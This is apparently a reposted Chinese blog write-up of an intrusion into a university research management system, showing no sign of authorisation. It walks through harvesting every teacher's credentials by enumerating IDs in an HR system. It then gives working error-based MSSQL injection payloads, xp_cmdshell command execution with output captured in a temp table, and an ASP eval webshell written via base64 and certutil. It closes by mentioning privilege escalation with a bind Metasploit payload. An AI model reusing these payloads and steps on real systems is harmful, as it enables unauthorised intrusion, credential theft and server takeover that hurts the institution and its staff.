原文地址:https://guokeya.github.io/post/vEdQgLooM/
正文
首先进入主页是这个样子
F12也没找到啥接口。爆破也没出来。注入也无。。。。陷入僵局。然后继续翻IP。搜到一个人力资源管理系统
然后顺势遍历一波ID。TM居然拿到了全校老师的账号密码?????
拿到账号密码,回去科研管理系统登陆一波所有功能都点一遍,熟悉下环境
熟悉了下语句,后端应该是
select xxxx from xxxx where 1=1 +and+left(CheckResult,2)>=12++and+(*,*+AllUsers+*,*+like+*~,10432,~*+)+ and ProjLevel=*03*
上语句,看看能不能报错注入。
查库
trWhere=1=convert(int,(db_name()))--
查版本信息
strWhere=1=convert(int,(@@version))--
获取数据库
strWhere=1=convert(int,(select name from master..sysdatabases for xml path))--
trWhere=1=0;exec master..xp_cmdshell 'whoami';--
exec master..xp_cmdshell 'ping xxxxxxx';
然后继续搜文件,发现可以创建数据表,把xp_cmdshell的执行结果写入数据表
trWhere=1=0;CREATE TABLE tt_tmp (id int identity(1,1),constraint pkid primary key (id),tmp1 varchar(8000));--
//创建一个自增表。等会就可以通过id去查询结果。这个web。只能输出一条结果。而Mssql又没有limit 1,1这种具体读第N条数据的语句。只有TOP 2。返回两条数据
trWhere=1=0;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'whoami';--
//写入命令执行的结果
trWhere=1=(select tmp1 from tt_tmp where id=1)--
//通过id查询
Mssql的xp_cmdshell执行时,会把\n单独一行。。所以这里用ID具体查询。
执行下whoami,发现是System权限,那么直接写个webshell。之前用certutil请求VPS,没收到,DNS也迷惑,感觉是不出网,学生网段和服务器网段也不能直通。。
for /r e:\\ %i in (Login.aspx) do @echo %i
然后就可以列出e:\所有目录。一个个慢慢找咯
base64.b64encode("科研管理系统".encode("gbk"))
然后继续找啊找,发现了web目录
然后写shell又被恶心到了,xp_cmdshell的单引号不解析我的URL编码,但是双引号解析????这我记得是浏览器会自动解析的啊。。
<%eval request("pass")%>
这我直接自闭,整了半天,要么就是直接报错,要么就是写入的文件没引号了。
echo PCVleGVjdXRlKHJlcXVlc3QoInBhc3MiKSklPg== > web目录\sorry.txt
certutil -decode web目录\sorry.txt web目录\sorry.asp
直接用base64解码写入了,省去了很多烦恼当我访问时,却是500??然后尝试用菜刀链接了下,居然可以连。。之后就随便整了。
Server2008补丁很少,可以用exp直接提权,或者xp_cmdshell是system权限,传个bind msf马,xp_cmdshell执行下我们去连就拿到system了。
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读